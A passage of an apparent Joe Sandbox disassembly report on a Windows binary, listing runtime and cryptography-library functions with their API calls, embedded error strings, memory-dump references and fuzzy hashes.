                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw$ExceptionRaise
                                  • String ID: AAD$AuthenticatedDecryptionFilter$AuthenticatedEncryptionFilter
                                  • API String ID: 3476068407-4071778396
                                  • Opcode ID: 9c99d08a170214864d703acebeacaed19137bd48f62b621d359e2539a2682ea4
                                  • Instruction ID: bc24a30432d278a2c9715259ce9ecee99732fd3aca3f7d494a73e9fb152c5b62
                                  • Opcode Fuzzy Hash: 9c99d08a170214864d703acebeacaed19137bd48f62b621d359e2539a2682ea4
                                  • Instruction Fuzzy Hash: C0416171A4460CEFCB14DFA4D945FAEB7B8FB04720F10466AF916A7681DB70A908CA90
                                  Function 009C6620 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 129COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 009C6690
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 009C66EE
                                  • ___std_exception_copy.LIBVCRUNTIME ref: 009C6742
                                  Strings
                                  • CryptoMaterial: this object contains invalid values, xrefs: 009C6667
                                  • CryptoMaterial: this object does not support precomputation, xrefs: 009C66C5
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw$___std_exception_copy
                                  • String ID: CryptoMaterial: this object contains invalid values$CryptoMaterial: this object does not support precomputation
                                  • API String ID: 4178755008-3364311089
                                  • Opcode ID: 696a0e39872234e396f1db5882502640cf63c480870c730467d8e7a665ef0581
                                  • Instruction ID: 57bf906efeaf815b55ec67e92f7b8a1e9d81cd3df8a0644a474cafbfa086ca67
                                  • Opcode Fuzzy Hash: 696a0e39872234e396f1db5882502640cf63c480870c730467d8e7a665ef0581
                                  • Instruction Fuzzy Hash: C4414C71904608EBCB01DF94DD41F9AF7F8FB19714F10866AB921A7680EB75AA04CB90
                                  Function 00A04760 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A047FD
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A0482B
                                  • ___std_exception_copy.LIBVCRUNTIME ref: 00A04882
                                  Strings
                                  • Cryptographic algorithms are disabled after a power-up self test failed., xrefs: 00A04802
                                  • Cryptographic algorithms are disabled before the power-up self tests are performed., xrefs: 00A047D4
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw$___std_exception_copy
                                  • String ID: Cryptographic algorithms are disabled after a power-up self test failed.$Cryptographic algorithms are disabled before the power-up self tests are performed.
                                  • API String ID: 4178755008-3345525433
                                  • Opcode ID: daa0f05bf87ee3c0d50b1f10bc4ae9f718941e3d2c257b40296baba39ed84b6a
                                  • Instruction ID: 443184cab7785f8a2e1bfd35e4d7b5e01ca6fb4a1008c3760511656663441642
                                  • Opcode Fuzzy Hash: daa0f05bf87ee3c0d50b1f10bc4ae9f718941e3d2c257b40296baba39ed84b6a
                                  • Instruction Fuzzy Hash: DC4171B1914608AFCB14DFA4D941BDEF7F8FF09710F00466AF511A7681EB75A604CBA0
                                  Function 00A22A00 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 110COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A20CD0: ___std_type_info_name.LIBVCRUNTIME ref: 00A20D8E
                                    • Part of subcall function 00A20CD0: ___std_type_info_name.LIBVCRUNTIME ref: 00A20DF9
                                  • ___std_type_info_name.LIBVCRUNTIME ref: 00A22A51
                                    • Part of subcall function 00A67BC4: ___unDName.LIBVCRUNTIME ref: 00A67BF0
                                  • ___std_type_info_name.LIBVCRUNTIME ref: 00A22AB7
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ___std_type_info_name$Name___un
                                  • String ID: Modulus$PublicExponent$ThisObject:
                                  • API String ID: 3683324773-1616987064
                                  • Opcode ID: 3be001f0517e464b85709b08ea06a481fb1ae1c21de7de418b9e21c9a9f8fd36
                                  • Instruction ID: 2649936e65659bc921ce78df5b394092abbb150ce732d06eb20877a07db30e71
                                  • Opcode Fuzzy Hash: 3be001f0517e464b85709b08ea06a481fb1ae1c21de7de418b9e21c9a9f8fd36
                                  • Instruction Fuzzy Hash: 5141F4306083417AC7219F38DC12B6BBBA1BFD5748F044E68F48467292EB62DA49C796
                                  Function 00A37020 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Getcvt$H_prolog3_
                                  • String ID: false$true
                                  • API String ID: 4085572910-2658103896
                                  • Opcode ID: b3829ec539495adc6503ef70f02034c5fa491e51f40b538a535301eaba9bf8d2
                                  • Instruction ID: 7ab6c718c03dbfcc550bcca3cf15ba58823cb85c31a4a546dc09eb869d3b8a12
                                  • Opcode Fuzzy Hash: b3829ec539495adc6503ef70f02034c5fa491e51f40b538a535301eaba9bf8d2
                                  • Instruction Fuzzy Hash: D61190B5E04741AFC724EFB4D841B9AB7F4AF0A300F04891AF4A68B751EB70E5048B50
                                  Function 00A70EFE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00A70EAF,?,?,00A70E4F,?,00ADC978,0000000C,00A70FA6,?,00000002), ref: 00A70F1E
                                  • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00A70F31
                                  • FreeLibrary.KERNEL32(00000000,?,?,?,00A70EAF,?,?,00A70E4F,?,00ADC978,0000000C,00A70FA6,?,00000002,00000000), ref: 00A70F54
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: AddressFreeHandleLibraryModuleProc
                                  • String ID: CorExitProcess$mscoree.dll
                                  • API String ID: 4061214504-1276376045
                                  • Opcode ID: 4746197d4f23a00dfae98e30d28260ae1ec948cc9178ef8fdc95f190f1cac4f9
                                  • Instruction ID: 09f47226cd5b7e42e9a83cb883a33fd025e9df920d7c3fb7b22e14a2b7fcb134
                                  • Opcode Fuzzy Hash: 4746197d4f23a00dfae98e30d28260ae1ec948cc9178ef8fdc95f190f1cac4f9
                                  • Instruction Fuzzy Hash: 66F04431505219FBCF119BD4DC09FDEBFB4EB45712F008165F90AA6190DB709E45CA90
                                  Function 00A5E210 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35threadCOMMON
                                  Download Yara Rule
                                  APIs
                                  • Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00A5E224
                                  • Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00A5E248
                                  • std::invalid_argument::invalid_argument.LIBCONCRT ref: 00A5E25B
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A5E269
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Resource$Concurrency::details::Execution$CurrentException@8Manager::Proxy::RemoveSchedulerThreadThrowstd::invalid_argument::invalid_argument
                                  • String ID: pScheduler
                                  • API String ID: 3657713681-923244539
                                  • Opcode ID: 0065f78e21a3b140764b67b476fcfdb0478b9eb94ed1c6a5210d95b74151b49d
                                  • Instruction ID: 343b820299dbdd91f32f581d8acbac8a15f0521279f7f101184af23710827e77
                                  • Opcode Fuzzy Hash: 0065f78e21a3b140764b67b476fcfdb0478b9eb94ed1c6a5210d95b74151b49d
                                  • Instruction Fuzzy Hash: A8F05935A00204A7CF14FB94ED428DEB33CBED0722B60492AE90217185DF70AE0DC6A1
                                  Function 00A7ADD3 Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 9d564ae2d61b36b732a093303dee6723f2b0d11e56da2d29bdb6843b35a25f39
                                  • Instruction ID: dbcad1a385e8c49f0ed7a8857a032529d82f7fa365a724d48b55a6b783f4ba3e
                                  • Opcode Fuzzy Hash: 9d564ae2d61b36b732a093303dee6723f2b0d11e56da2d29bdb6843b35a25f39
                                  • Instruction Fuzzy Hash: 7271C3B1901216AFDF21CF55CC44ABFBBB9EFA5350F24C229E42957181D7708D82CBA2
                                  Function 00A80EF8 Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A85B94: RtlAllocateHeap.NTDLL(00000000,?,?,?,00A67B27,?,?,?,?,?,009C1F07,?,?,?), ref: 00A85BC6
                                  • _free.LIBCMT ref: 00A81003
                                  • _free.LIBCMT ref: 00A8101A
                                  • _free.LIBCMT ref: 00A81039
                                  • _free.LIBCMT ref: 00A81054
                                  • _free.LIBCMT ref: 00A8106B
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _free$AllocateHeap
                                  • String ID:
                                  • API String ID: 3033488037-0
                                  • Opcode ID: cbf5ac8c91e1fa9956c31c868454a735b9ad1b1bde99b1d83981bca50909809b
                                  • Instruction ID: 50587abc04531a0061a36d4501a2c8dd412d076eb2c8ba0ecc7af9265d227cbe
                                  • Opcode Fuzzy Hash: cbf5ac8c91e1fa9956c31c868454a735b9ad1b1bde99b1d83981bca50909809b
                                  • Instruction Fuzzy Hash: 3A51C331A00705AFDB21EF69CD41B6A77F8EF49724F144569E94ADB290E731EE42CB80
                                  Function 00A80043 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _free
                                  • String ID:
                                  • API String ID: 269201875-0
                                  • Opcode ID: ac59f6954b3ee175bd2345febe32038f587ca62ffbc7b5e30db49c14e324e542
                                  • Instruction ID: f1ef0c9caa0b0f055d846d94fd0e42121aee474c5707e7827d46d9df0769d607
                                  • Opcode Fuzzy Hash: ac59f6954b3ee175bd2345febe32038f587ca62ffbc7b5e30db49c14e324e542
                                  • Instruction Fuzzy Hash: F141B232A002049FDB24EF78CA85E5EB7B5EF89714F154569E516EB341D631AE05CB80
                                  Function 00A8B0FD Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • MultiByteToWideChar.KERNEL32(00000004,00000000,0000007F,00AAED38,00000000,00000000,8B56FF8B,00A806C7,?,00000004,00000001,00AAED38,0000007F,?,8B56FF8B,00000001), ref: 00A8B14A
                                  • __alloca_probe_16.LIBCMT ref: 00A8B182
                                  • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00A8B1D3
                                  • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00A8B1E5
                                  • __freea.LIBCMT ref: 00A8B1EE
                                    • Part of subcall function 00A85B94: RtlAllocateHeap.NTDLL(00000000,?,?,?,00A67B27,?,?,?,?,?,009C1F07,?,?,?), ref: 00A85BC6
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                                  • String ID:
                                  • API String ID: 313313983-0
                                  • Opcode ID: 54af45f8b59bf91e8dd7df32adcda29d68c8bc743b8a90dd90170621eb1c81b1
                                  • Instruction ID: abcabc35eea4dd8eb587bf75f164e54c7882ce3a4ac8e9840051b335624cf2ee
                                  • Opcode Fuzzy Hash: 54af45f8b59bf91e8dd7df32adcda29d68c8bc743b8a90dd90170621eb1c81b1
                                  • Instruction Fuzzy Hash: 3731D032A1021AABDF24EF64DC55EAE7BA5EB40710F044228FC14DB290E735DD55CBA0
                                  Function 00A5C2A0 Relevance: 7.6, APIs: 5, Instructions: 88COMMON
                                  Download Yara Rule
                                  APIs
                                  • _SpinWait.LIBCONCRT ref: 00A5C2C5
                                    • Part of subcall function 00A52302: _SpinWait.LIBCONCRT ref: 00A5231A
                                  • Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00A5C2D9
                                  • Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00A5C30B
                                  • List.LIBCMT ref: 00A5C38E
                                  • List.LIBCMT ref: 00A5C39D
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
                                  • String ID:
                                  • API String ID: 3281396844-0
                                  • Opcode ID: 384a748376a734a150f3946748b7e2689122b58379f583e58541824da865bd2b
                                  • Instruction ID: 5f1e166ab56eba50c5e7477956befc0953c7ca20d2e51230e63925dd31b6c53e
                                  • Opcode Fuzzy Hash: 384a748376a734a150f3946748b7e2689122b58379f583e58541824da865bd2b
                                  • Instruction Fuzzy Hash: A3312372901719DFCB14EFA4D6416EDFBB0BF1572AF04406ADC026B646DB716E08CBA0
                                  Function 00A64BB5 Relevance: 7.6, APIs: 5, Instructions: 80threadCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SetEvent.KERNEL32(?,00000000,?), ref: 00A64C06
                                  • Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00A64BEE
                                    • Part of subcall function 00A5CB06: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00A5CB27
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A64C37
                                  • Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00A64C69
                                  • SwitchToThread.KERNEL32(00000005,00000004,00000000,?,?,?,?,?,?,?,00ADC2F0), ref: 00A64C6E
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Context$Event$Base::Concurrency::details::$ThrowTrace$Exception@8SwitchThread
                                  • String ID:
                                  • API String ID: 2412095092-0
                                  • Opcode ID: 8f83c2254dcf6bd5a4d0dcfd3398fb72eaf70be15838809596a96b46e157bcec
                                  • Instruction ID: 5ab13406a4c972742f7814d6d8b4903a676651466487ba3e4babf59ae14818b5
                                  • Opcode Fuzzy Hash: 8f83c2254dcf6bd5a4d0dcfd3398fb72eaf70be15838809596a96b46e157bcec
                                  • Instruction Fuzzy Hash: 3521D171B01214AFCB00FB98CD459AEB7B8FB48731B004556FA16A3391CB70AD05CAA4
                                  Function 00A8C5A4 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetEnvironmentStringsW.KERNEL32(00000000,?,00000002,?,?,00A921E5,00000000,?,00000000,00000000), ref: 00A8C5AD
                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00A921E5,00000000,?,00000000,00000000), ref: 00A8C5D0
                                    • Part of subcall function 00A85B94: RtlAllocateHeap.NTDLL(00000000,?,?,?,00A67B27,?,?,?,?,?,009C1F07,?,?,?), ref: 00A85BC6
                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00A921E5,00000000,?,00000000,00000000), ref: 00A8C5F6
                                  • _free.LIBCMT ref: 00A8C609
                                  • FreeEnvironmentStringsW.KERNEL32(00000000,?,?,00A921E5,00000000,?,00000000,00000000), ref: 00A8C618
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                  • String ID:
                                  • API String ID: 336800556-0
                                  • Opcode ID: a9d0146b60f8276a70e7ebed4871f20677ff0b3caa2ae571192a88ac1843c8b3
                                  • Instruction ID: 29871a8ad197961b083da79d2c38a1777c4c5a95b333bfbc20d87c9af2bcdd7d
                                  • Opcode Fuzzy Hash: a9d0146b60f8276a70e7ebed4871f20677ff0b3caa2ae571192a88ac1843c8b3
                                  • Instruction Fuzzy Hash: 1C01B172A012167BAB21A7B65C8CC7B6A6DDAC6BB1314113AFD04D3141FA70CD028AB0
                                  Function 00A3A86D Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
